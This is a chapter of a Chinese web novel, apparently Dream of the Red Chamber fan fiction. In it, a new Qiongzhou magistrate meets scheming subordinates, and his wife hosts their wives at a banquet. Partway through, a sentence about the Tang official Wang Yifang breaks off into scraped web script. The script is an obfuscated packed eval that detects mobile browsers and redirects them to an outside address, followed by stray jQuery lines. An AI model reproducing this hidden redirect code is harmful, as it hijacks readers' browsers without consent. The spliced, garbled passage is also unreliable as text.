米花白 作品

27.琼州府衙

租借马车时,柳琼就派了林家的家丁去县城,此时府衙前却无一人出来迎接上官,如此明目张胆的下马威,县丞、主簿和典史几人也太不把他放在眼里了吧。


柳琼冷笑,林如海一副果然如此的神情:“历来新官上任,哪有太太平平的?你掂量他们,他们也得掂量掂量你。看看是你的三把火厉害,还是他们不动如山稳得住。你啊,还需要历练。”


柳琼立马收敛起脸上的神情,低头受教:“徒儿一时失宜,师父教训的是。”


众人不再多言,从后门进入县衙后院。后院有三进,因岛上面积大,三进的宅子有京城四进那么大,黑漆木门,可并行两辆马车。房屋有些破旧,游廊的木头栏杆有几处发霉,裸露在外的白色墙皮,也被咸腥的海风吹成了褐色。


县衙里雇了两个打扫房屋的婆子,四十左右年纪,皮肤黝黑,手掌满是老茧,一看就是常年干活的。邬桐没有立刻辞去,而是让两人继续干着,只是不能随便进第一进的书房。


因带的行李多,收拾屋子就花了两日,当然这是后话。


作为新任县令,山不就我,我自去就山,想开后,柳琼溜溜达达地去了前院的办公衙门,见到了县衙的几名官吏。


琼州作为大县,除了县令外,设有县丞和主簿两个官职。县丞是八品,二把手,之前县令空缺,一直是县丞代行县令职责。主簿是九品,三把手,职责和县丞有些像,很多小县没有县丞,只设有主簿一职。


除县令、县丞和主簿是官外,其余都是吏。群吏之长称为典史,相当于现代的公安局长和看守所所长,虽是不入流的小吏,但在百姓心中也是威风赫赫。


县丞、主簿和典史都有单独的办公场所,柳琼一一拜访,将人请到县衙正堂。


琼州县丞姓马,约摸三十五六的年纪,剑南道人士,举人出身,脸狭长,跟姓氏倒是颇匹配。马县丞没想到新任县尊小小年纪,能屈能伸,忍了下马威不说,还乐呵呵地上门拜访,不得不收起之前的轻视之心,愈发小心应对。


“相信大家都看到朝廷的邸报了。在下贾琼,今科二榜进士,特请到琼州任县令。”柳琼见众人都落座了,徐徐开口道,“初来乍到,第一次见大家,不防先认识认识,如何?”


马县丞拱拱手,率先发言:“马有才,举人。剑南道人士,在琼州二十余载,公务上有一二心得,县尊大人有任何不解只管问在下,在下必知无不言言无不尽。”


王典史是马县丞嫡妻的娘家族人,一副惟马县丞马首是瞻的样儿,立马奉承道:“马县丞在琼州兢兢业业二十载,没有他摆不平的事儿。县令大人您有事只管差遣,保管办得漂漂亮亮。”


“不得无理,县尊让大家互相认识认识,你说的都是什么?”马县丞当众训斥道。


柳琼挑挑眉,当众训斥典史,这是在宣告他的权威?柳琼笑笑,开口道:“无妨,可见马县丞为官之能。大家继续。”


不等其他人开口,马县丞矜持一笑,开口道:“为恭迎县尊大人,卑职在望海楼设了宴席,不知大人可否赏光?”


柳琼嘴角隐晦地抽动两下,天高皇帝远的地方,拍马屁和官场争斗都这么直喇喇的吗?


偷眼看下首的冼主簿,丝毫没有被截断话头的愠怒,一副事不关己的样儿。柳琼眼神闪了闪,轻咳一声,笑道:“贾某初来乍到,后宅还得收拾一二,今日就算了。这样,后日申时末,大家带上各吏房的兄弟们过来,咱们不醉不归。”


“这怎么好意思,原该我们下属请您的。”马县丞见柳琼面无异色,开口道。


“无妨。”柳琼不在意地摆摆手,“既然县里有马县丞操持,以后就还劳烦马兄了。贾某先回去收拾后宅,诸位忙吧。”说着起身拱拱手,举步离开。


马县丞见人走了,率先起身掸掸袍角,施施然离去。王典史嘿嘿笑两声,追着马县丞走了。


冼主簿起身,看着正堂“正大光明”的牌匾,只希望琼州岛的天早些光明起来。


不到一个时辰,后宅已经焕然一新,泛黄的墙皮重新刷了大白,发霉的木质游廊也新上了漆,进得正堂,红木桌椅被擦洗干净,茶水还冒着热气。


柳琼瘫坐在太师椅上,冲在一旁八宝阁上摆玩器的邬桐道:“县令不好当啊,刚来就被架空了。”


邬桐身子都没转过来,笑着说:“少装了,心里不知道正打什么鬼主意,等着收拾他们呢吧。我还不知道你,说,想让我怎么配合?”


“嘿嘿。”柳琼蹭地坐起来,拿起茶杯咂了一口,笑嘻嘻开口,“后日宴客,你试探试探冼主簿太太。这主簿既然姓冼,在琼州就算不是望族,跟黎人多少有些瓜葛。琼州黎人大大小小两千峒,人口有二十万之多,内部又分生黎熟黎,不可小觑。冼主簿现在是站干岸,这样也好,只要别倒向马县丞和王典史,收拾这两个人还是不在话下的。”


虽冼主簿没说话,但在广州知府衙门时,他就看过了琼州衙门的人事名录,自然知道衙门里都有谁。


邬桐了然地点点头,问起了别的话:“这生黎熟黎是怎么分的?”


柳琼便科普起生黎熟黎的划分:“其实也没有那么严格,生黎生活在山野,主要是琼州南部的原始森林里,不缴纳税赋,不服徭役,主要以买卖沉香和黄花梨为生。因生黎跟汉人不直接接触,彼此语言不通,熟黎就起到了沟通彼此的作用。熟黎是从生黎中分化出来的,还夹杂一些黎化的汉人,主要生活在琼州中部,大多以牙人为业。黎人最有名的就是冼氏一族,当年冼夫人历经三朝,被三朝皇帝加封,显赫非常。冼主簿这个姓氏,就很值得玩味啊。”


“难不成是冼夫人的后人?”


“不好说。”说完正事,柳琼开始打量县衙后宅的正堂,见一水儿的红木家具,拍拍座椅的扶手道,“不愧是琼州,县衙的家具都是紫檀木的。”


“刚黛玉和父亲还在到处看家具呢,都说木头不比京城的差。”邬桐摆好玩器,转身小声道,“在末世都灭绝了的东西,没想到这个时代倒是不缺。”


“那是,这还不是最名贵的,最贵的金丝楠木,只皇族能用。”柳琼咂咂嘴,“琼州这边出产的黄花梨,也是难得的好木头。千年才能长成,做的家具万年不腐。只是长在深山老林里,蛇虫鼠蚁密布,一般人都不敢进,只生黎能采。”


忙碌完两日,自家吃了一顿暖房饭,邬桐、黛玉和香菱就忙活起了宴席的事。有京中各种赏花宴珠玉在前,又恰逢琼州的大花紫薇盛开,黛玉便着人买了数十盆大的花木,摆在后花园的池塘边,与粉的白的荷花交相辉映,端是那句姹紫嫣红。


来赴宴的诸位官太太隐晦地对视一眼,知道新任县尊家不是那等没见识的,不约而同地偷偷打量为首的马县丞太太,看热闹不嫌事儿大似的。


这位马太太每每以大家族出身为傲,也不知以后可还傲的起来不?


王典史太太本就不服马太太,要不是相公巴结马县丞,她早就不搭理这位了,此时笑嘻嘻的,一开口就是挑拨:“哎呦,只怕咱们这位县尊太太可是了不得的人物呢。我可听说,当初从码头下来,租车就租了三十辆,这手笔,可不是一般人能有的。”


马太太二十五六年纪,闻言淡淡地瞥了一眼王夫人,掸掸淡紫色的烟纱裙:“三十辆车就能装完的家底儿,亏你看得上。小门小户的,也就开个车马店罢了。我们王家可是唐代名臣王义方的后人,族兄娶了你真是受委屈了。”


原来马太太姓王,和王典史是同族兄妹,亦是马县丞原配嫡妻的族人。当年马县丞小小年纪,逃兵祸至琼州,被王家收留。王家一支族人看他是可造之才,特意招赘为女婿。马县丞自嫡妻死后,三年不肯续弦,还是岳父岳母出面,说合了另一王家族人之女,这才有了如今的马太太。


王太太闻言气得胸口起伏,又不好撕破脸,只得扭头装作赏花。


马太太冷哼一声,小商户出身的都想在她面前蹦跶,真是自不量力。


他们王家可是唐代名臣王义方的后代!


王义方有一则“二度让马”的故事,在仕林间广为流传。据说王义方当年被贬崖州即今日的琼州岛时,有一故人的侄子也一同流放至此。只是此人命薄,死在了崖州。死前拜托王义方照顾妻女,并有一日能将他的尸骨葬回千里之遥的故乡。


王义方应诺,尽管路途遥远,也义无反顾地踏上归途。马让给故人的妻女,自己步行扶柩归乡。经过两个多月的跋涉,不仅安葬了故人,还将故人的妻女送回了故乡,可见其人品。王义方最有名的,还是当年被流放崖


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256324|163788||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


州后,兴办义学,免费教授黎人读书习字,因此在琼州岛很有人气,至今仍有黎人祭祀王义方。


主人还没出来,客人就差点吵起来。在一旁领路的香菱暗暗称奇,众人只以为香菱是丫鬟,也没在意。


等在水榭见到端坐的邬桐和林黛玉,众人这才露出惊讶之色。琼州岛居民肤色偏黑,哪里见过这般肌肤丰盈白润之人?更兼黛玉一副西施之态,直看得人回不过神。


邬桐轻笑出声,王太太这才出声赞道:“县尊夫人莫怪,实在是夫人和小姐这般绝色,我等是那没见识的,看呆了。”


邬桐谦虚道:“这是家妹黛玉,因没来过琼州,故跟着我和他姐夫二人过来玩。大家快坐,不要客气。前几日忙乱,今日才得空宴请大家,莫怪才好。”


彼此都是第一次见面,说的无非都是些虚假的客套话。王太太咂一口茶,惊喜道:“县尊太太也爱喝六安瓜片?”


邬桐笑笑:“不是什么好茶,见笑了。”


王太太得意地看马太太一眼,笑道:“不瞒县尊太太,我也极爱这六安瓜片的。我家就是做茶叶生意的,说句不客气的,什么好茶没喝过,我还就爱这个味儿。”


小商户出身着实是马太太在嫉妒王太太,她是王典史嫡妻原配,家里是茶商,极有钱的,车马行只是她们家的一个产业而已,偏马太太总是揪住这个不放,忒得烦人。只是自来商贾地位不高,这才把女儿嫁给典史,好有个依靠的。


邬桐眼神眯了眯,端起茶抿了一口。马县丞和王典史也不是铁板一块,该利用的就得利用起来,邬桐放下茶杯,和王太太说起茶经来:“要说喝茶,我这妹妹才是一绝呢。在京城,冬日里只要下了雪,就拿着毛笔,收集梅花上积的雪水,说是煮茶是极好的。我就是个粗人,喝茶也只是牛饮罢了,哪里喝的出来区别。王太太家里既然是做茶叶生意的,不知你可喝的出水的差别?”


王太太待要说话,马太太插嘴道:“她比县尊太太还不如呢,上次我们一起品茶,明明是明前的龙井,偏她喝不出来,说是明后的,你说可笑不可笑?”


说着用手帕捂着嘴,咯咯咯笑起来。其他太太尴尬地赔笑两声,其中一位有些粗壮的妇人翻个白眼儿,倒是半点儿没给马太太面子。


王太太暗暗握紧拳头,恨不能锤这贱人两拳。要不是相公千叮咛万嘱咐,她早一巴掌糊这人脸上了。亏得还是王家族人呢,也忒没教养了。


邬桐暗暗将翻白眼儿的妇人记在心里,不再和马王两位太太说话,而是起身去到其他吏员太太们中间,招待大家吃茶水点心:“也不知道琼州这里的规矩,我和妹妹就按照京里的口味,置办了这些茶点,大家尝尝喜欢不喜欢?”


翻白眼儿的妇人拿起一块儿豌豆黄放进嘴里,咀嚼了两下赞叹道:“怪不得大家都想去京里呢,这点心跟咱们这里的就是不一样。县尊太太有心了。”


香菱适时地在邬桐耳边低语:“这是兵房邢司吏的太太。”刚才是她在门口迎的人,故而哪家是哪家,香菱心里是清楚的。


邬桐笑着开口:“邢太太要是喜欢就带些回去,不值什么的。家里的厨子就是京里带来的,要是想吃只管来就是。”


“那怎么好意思。”邢太太憨厚地笑笑,不再多言。


极有分寸的人,既让人留意到她的存在,又不过分抢其他人的风头,虽然对马太太不耐烦,也只悄悄动作,明面上并没有大错,邢司吏应该也是可以合作之人。


“早就听闻宁荣二府的吃食天下无双,不知县尊太太这厨子,可是出自宁荣二府?”马太太拿起一颗糕点,试探着询问。


邬桐挑挑眉,这是试探家里和宁荣二府的关系呢。她装着不知,笑道:“哪里有这个面子呦,只不过吃过几次国公府的宴席,试着让厨子复制一二罢了。来,大家都尝尝,看看味儿可喜欢。”


马太太和王太太隐晦地对视一眼,很快又分开。众位太太夫人也都不再说话,一起喝茶吃点心。


邬桐笑笑,不再管这两人。因之前吩咐过香菱,要留意冼主簿的太太,香菱悄悄指与邬桐瞧。只见冼太太三十许年纪,看长相应该是汉人,一身藕荷色轻纱衣裙,头上一左一右两个金钗,打扮极为艳丽。此时低着头喝茶吃点心,并不与其他太太攀谈。